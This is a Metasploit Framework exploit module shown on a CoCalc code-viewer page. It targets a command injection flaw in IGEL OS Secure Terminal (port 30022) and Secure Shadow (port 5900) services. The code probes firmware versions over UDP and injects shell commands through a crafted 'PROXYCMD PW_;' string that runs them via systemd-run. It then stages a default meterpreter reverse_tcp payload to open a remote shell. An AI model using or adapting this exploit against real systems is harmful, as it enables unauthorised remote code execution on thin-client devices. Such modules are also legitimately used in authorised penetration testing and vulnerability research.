CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/igel_command_injection.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Tcp
11
include Msf::Exploit::CmdStager
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE',
19
'Description' => %q{
20
This module exploits a command injection vulnerability in IGEL OS Secure Terminal
21
and Secure Shadow services.
22
23
Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure
24
Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Rob Vinson', # Discovery
29
'James Brytan', # Research and testing
30
'James Smith', # Research and testing
31
'Marisa Mack', # Research and testing
32
'Sergey Pashevkin', # Research and testing
33
'Steven Laura' # Research and testing
34
],
35
'References' => [
36
[ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],
37
[ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]
38
],
39
'Platform' => ['linux'],
40
'Arch' => [ARCH_X86, ARCH_X64],
41
'Targets' => [
42
[
43
'Secure Terminal Service',
44
{
45
'Arch' => [ARCH_X86, ARCH_X64],
46
'Type' => :cmd,
47
'Platform' => 'linux',
48
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 30022 }
49
}
50
],
51
[
52
'Secure Shadow Service',
53
{
54
'Arch' => [ARCH_X86, ARCH_X64],
55
'Type' => :cmd,
56
'Platform' => 'linux',
57
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 5900 }
58
}
59
],
60
],
61
'Privileged' => true,
62
'DisclosureDate' => '2021-02-25',
63
'CmdStagerFlavor' => ['printf'],
64
'DefaultTarget' => 0,
65
'DefaultOptions' => {
66
'PrependFork' => true
67
},
68
'Notes' => {
69
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
70
'Reliability' => [REPEATABLE_SESSION],
71
'Stability' => [CRASH_SAFE]
72
}
73
)
74
)
75
76
register_advanced_options(
77
[
78
# must enable SSL
79
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),
80
]
81
)
82
end
83
84
def check
85
probe = '<igel_scan></igel_scan>'
86
87
connect_udp(true, 'RPORT' => 30005)
88
udp_sock.put(probe)
89
res = udp_sock.recvfrom(65535, 0.5)
90
disconnect_udp
91
92
unless res && res[0]
93
return Exploit::CheckCode::Unknown
94
end
95
96
probe_response = res[0]
97
matches = probe_response.match(/firmwareversion=<([0-9.]+)>/)
98
unless matches
99
return Exploit::CheckCode::Unknown
100
end
101
102
version = matches.captures[0]
103
vprint_status("IGEL OS Version: #{version}")
104
version = Rex::Version.new(version)
105
106
if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0')
107
return Exploit::CheckCode::Appears
108
elsif version < Rex::Version.new('11.04') && version >= Rex::Version.new('11.03.620')
109
return Exploit::CheckCode::Safe
110
elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0')
111
return Exploit::CheckCode::Appears
112
end
113
114
return Exploit::CheckCode::Safe
115
end
116
117
def execute_command(cmd, _opts = {})
118
vprint_status("executing: #{cmd}")
119
connect
120
sock.put(%(PROXYCMD PW_;/usr/bin/systemd-run --scope bash -c "#{cmd}";false))
121
ensure
122
disconnect
123
end
124
125
def exploit
126
execute_cmdstager(linemax: 150, noconcat: true, delay: 2)
127
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
128
fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")
129
end
130
131
end
132
133